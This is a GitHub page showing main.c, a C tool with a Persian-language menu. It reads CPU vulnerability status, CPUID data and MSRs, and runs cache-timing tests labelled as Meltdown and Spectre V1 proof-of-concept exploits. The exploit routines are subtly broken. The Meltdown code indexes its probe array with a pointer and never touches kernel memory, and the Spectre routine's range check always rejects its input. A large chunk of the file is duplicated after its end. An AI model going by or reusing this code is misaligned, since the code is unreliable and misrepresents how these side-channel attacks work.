This repository was archived by the owner on Sep 27, 2026. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.c
More file actions
306 lines (301 loc) · 9.93 KB
/
Copy pathmain.c
File metadata and controls
306 lines (301 loc) · 9.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <cpuid.h>
#include <x86intrin.h>
#include <signal.h>
#define RED "\033[1;31m"
#define GREEN "\033[1;32m"
#define YELLOW "\033[1;33m"
#define BLUE "\033[1;34m"
#define NC "\033[0m"
#define VULN_PATH "/sys/devices/system/cpu/vulnerabilities/"
#define ARRAY_SIZE 256 * 4096
unsigned char array[ARRAY_SIZE];
char kernel_data[10] = "SECURE123";
void print_banner();
void main_menu();
void check_vulnerabilities();
void read_cpuid_info();
void test_rdtsc();
void analyze_cache_timing();
void read_msr(unsigned int msr_index, const char *name);
int meltdown_exploit();
int spectre_v1_exploit(volatile int *array, unsigned long target);
void sigsegv_handler(int signal) {
printf("%s خطای دسترسی غیرمجاز دریافت شد.%s\n", RED, NC);
}
int main() {
signal(SIGSEGV, sigsegv_handler);
print_banner();
main_menu();
return 0;
}
void print_banner() {
printf("%s madare doki - TOOL %s\n", BLUE, NC);
}
void main_menu() {
int choice;
do {
printf("\n%s=== منو اصلی ===%s\n", YELLOW, NC);
printf("1. بررسی آسیبپذیریها\n");
printf("2. اطلاعات پردازنده\n");
printf("3. تست RDTSC\n");
printf("4. آنالیز Cache Timing\n");
printf("5. تست Meltdown PoC\n");
printf("6. تست Spectre V1 PoC\n");
printf("7. خواندن MSRها\n");
printf("0. خروج\n");
printf("انتخاب کنید: ");
scanf("%d", &choice);
switch (choice) {
case 1: check_vulnerabilities(); break;
case 2: read_cpuid_info(); break;
case 3: test_rdtsc(); break;
case 4: analyze_cache_timing(); break;
case 5: meltdown_exploit(); break;
case 6: {
volatile int dummy = spectre_v1_exploit(array, (unsigned long)kernel_data);
(void)dummy;
break;
}
case 7: read_msr(0x1A0, "IA32_MISC_ENABLE"); break;
case 0: printf("خروج...\n"); break;
default: printf(" انتخاب نامعتبر.\n");
}
} while (choice != 0);
}
void check_vulnerabilities() {
printf("%s بررسی وضعیت آسیبپذیریها%s\n", BLUE, NC);
const char *vulns[] = {"spectre_v1", "spectre_v2", "meltdown", "spectre_bhi"};
for (int i = 0; i < 4; i++) {
char path[256];
snprintf(path, sizeof(path), "%s%s", VULN_PATH, vulns[i]);
FILE *fp = fopen(path, "r");
if (!fp) {
printf(" %s: فایل وجود ندارد یا بدون دسترسی\n", vulns[i]);
continue;
}
char line[256];
if (fgets(line, sizeof(line), fp)) {
printf(" %s: %s", vulns[i], line);
}
fclose(fp);
}
}
void read_cpuid_info() {
unsigned int eax, ebx, ecx, edx;
__cpuid(0, eax, ebx, ecx, edx);
char vendor[13];
memcpy(&vendor[0], &ebx, 4);
memcpy(&vendor[4], &edx, 4);
memcpy(&vendor[8], &ecx, 4);
vendor[12] = '\0';
printf(" Vendor ID : %s\n", vendor);
char brand[49];
for (int i = 0x80000002; i <= 0x80000004; ++i) {
__cpuid(i, eax, ebx, ecx, edx);
memcpy(brand + (i - 0x80000002) * 16 + 0, &eax, 4);
memcpy(brand + (i - 0x80000002) * 16 + 4, &ebx, 4);
memcpy(brand + (i - 0x80000002) * 16 + 8, &ecx, 4);
memcpy(brand + (i - 0x80000002) * 16 + 12, &edx, 4);
}
brand[48] = '\0';
printf(" Model Name : %s\n", brand);
}
void test_rdtsc() {
printf("%s تست سرعت RDTSC:%s\n", YELLOW, NC);
unsigned long long t1 = __rdtsc();
usleep(1000); // sleep 1ms
unsigned long long t2 = __rdtsc();
printf("زمان گذشته: %llu cycle\n", t2 - t1);
}
void analyze_cache_timing() {
printf("%s آنالیز Cache Timing%s\n", BLUE, NC);
for (int i = 0; i < 256; i++) {
unsigned long long time1, time2;
_mm_clflush(&array[i * 4096]);
time1 = __rdtsc();
(void)array[i * 4096];
time2 = __rdtsc() - time1;
printf("آدرس %d: زمان دسترسی = %llu cycle\n", i, time2);
}
}
void read_msr(unsigned int msr_index, const char *name) {
int fd = open("/dev/cpu/0/msr", O_RDONLY);
if (fd < 0) {
printf("%s MSR: دسترسی به /dev/cpu/0/msr غیرممکن (Root نیاز است)%s\n", RED, NC);
return;
}
unsigned long long val;
if (pread(fd, &val, sizeof(val), msr_index) != sizeof(val)) {
perror("pread");
close(fd);
return;
}
printf("%s MSR[%s]: 0x%016llx%s\n", GREEN, name, val, NC);
close(fd);
}
int meltdown_exploit() {
printf("%s تست اکسپلویت Meltdown%s\n", YELLOW, NC);
if (geteuid() != 0) {
printf("%s شما روت نیستید. دسترسی به حافظه هسته ندارید.%s\n", RED, NC);
return -1;
}
for (size_t i = 0; i < ARRAY_SIZE; i++)
array[i] = 1;
for (size_t i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096]);
unsigned long long time1, time2;
int i;
register uint64_t dummy;
unsigned long addr = (unsigned long)kernel_data;
dummy = array[addr * 4096];
for (i = 0; i < 256; i++) {
time1 = __rdtsc();
dummy = array[i * 4096];
time2 = __rdtsc() - time1;
if (time2 < 200) {
printf("%s داده بدست آمده: %c (%d)%s\n", GREEN, i, i, NC);
return i;
}
}
printf("%s اکسپلویت شکست خورد (احتمال وجود پچ امنیتی)%s\n", YELLOW, NC);
return -1;
}
int spectre_v1_exploit(volatile int *array, unsigned long target) {
printf("% sExpluit test Spectre V1%s\n", YELLOW, NC);
if (target >= 256) {
printf("Target out of range\n");
return -1;
}
for (int i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096]);
for (int i = 0; i < 10; i++)
array[i * 4096] = 1;
array[target * 4096] = 1;
for (int i = 0; i < 256; i++) {
unsigned long long time = __rdtsc();
(void)array[i * 4096];
time = __rdtsc() - time;
if (time < 200)
printf("Found cached value at index %d\n", i);
}
return 0;
}
if (!fp) {
printf(" %s: فایل وجود ندارد یا بدون دسترسی\n", vulns[i]);
continue;
}
char line[256];
if (fgets(line, sizeof(line), fp)) {
printf(" %s: %s", vulns[i], line);
}
fclose(fp);
}
}
void read_cpuid_info() {
unsigned int eax, ebx, ecx, edx;
__cpuid(0, eax, ebx, ecx, edx);
char vendor[13];
memcpy(&vendor[0], &ebx, 4);
memcpy(&vendor[4], &edx, 4);
memcpy(&vendor[8], &ecx, 4);
vendor[12] = '\0';
printf(" Vendor ID : %s\n", vendor);
char brand[49];
for (int i = 0x80000002; i <= 0x80000004; ++i) {
__cpuid(i, eax, ebx, ecx, edx);
memcpy(brand + (i - 0x80000002) * 16 + 0, &eax, 4);
memcpy(brand + (i - 0x80000002) * 16 + 4, &ebx, 4);
memcpy(brand + (i - 0x80000002) * 16 + 8, &ecx, 4);
memcpy(brand + (i - 0x80000002) * 16 + 12, &edx, 4);
}
brand[48] = '\0';
printf(" Model Name : %s\n", brand);
}
void test_rdtsc() {
printf("%s تست سرعت RDTSC:%s\n", YELLOW, NC);
unsigned long long t1 = __rdtsc();
usleep(1000); // sleep 1ms
unsigned long long t2 = __rdtsc();
printf("زمان گذشته: %llu cycle\n", t2 - t1);
}
void analyze_cache_timing() {
printf("%s آنالیز Cache Timing%s\n", BLUE, NC);
for (int i = 0; i < 256; i++) {
unsigned long long time1, time2;
_mm_clflush(&array[i * 4096]);
time1 = __rdtsc();
(void)array[i * 4096];
time2 = __rdtsc() - time1;
printf("آدرس %d: زمان دسترسی = %llu cycle\n", i, time2);
}
}
void read_msr(unsigned int msr_index, const char *name) {
int fd = open("/dev/cpu/0/msr", O_RDONLY);
if (fd < 0) {
printf("%s MSR: دسترسی به /dev/cpu/0/msr غیرممکن (Root نیاز است)%s\n", RED, NC);
return;
}
unsigned long long val;
if (pread(fd, &val, sizeof(val), msr_index) != sizeof(val)) {
perror("pread");
close(fd);
return;
}
printf("%s MSR[%s]: 0x%016llx%s\n", GREEN, name, val, NC);
close(fd);
}
int meltdown_exploit() {
printf("%s تست اکسپلویت Meltdown%s\n", YELLOW, NC);
if (geteuid() != 0) {
printf("%s شما روت نیستید. دسترسی به حافظه هسته ندارید.%s\n", RED, NC);
return -1;
}
for (size_t i = 0; i < ARRAY_SIZE; i++)
array[i] = 1;
for (size_t i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096]);
unsigned long long time1, time2;
int i;
register uint64_t dummy;
unsigned long addr = (unsigned long)kernel_data;
dummy = array[addr * 4096];
for (i = 0; i < 256; i++) {
time1 = __rdtsc();
dummy = array[i * 4096];
time2 = __rdtsc() - time1;
if (time2 < 200) {
printf("%s داده بدست آمده: %c (%d)%s\n", GREEN, i, i, NC);
return i;
}
}
printf("%s اکسپلویت شکست خورد (احتمال وجود پچ امنیتی)%s\n", YELLOW, NC);
return -1;
}
int spectre_v1_exploit(volatile int *array, unsigned long target) {
printf("% sExpluit test Spectre V1%s\n", YELLOW, NC);
if (target >= 256) {
printf("Target out of range\n");
return -1;
}
for (int i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096]);
for (int i = 0; i < 10; i++)
array[i * 4096] = 1;
array[target * 4096] = 1;
for (int i = 0; i < 256; i++) {
unsigned long long time = __rdtsc();
(void)array[i * 4096];
time = __rdtsc() - time;
if (time < 200)
printf("Found cached value at index %d\n", i);
}
return 0;
}